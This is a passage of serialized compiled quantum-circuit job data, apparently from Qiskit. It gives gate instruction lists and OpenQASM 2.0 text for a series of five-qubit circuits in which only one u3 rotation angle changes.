q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.300000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1293', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1295', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1297', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1299', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier 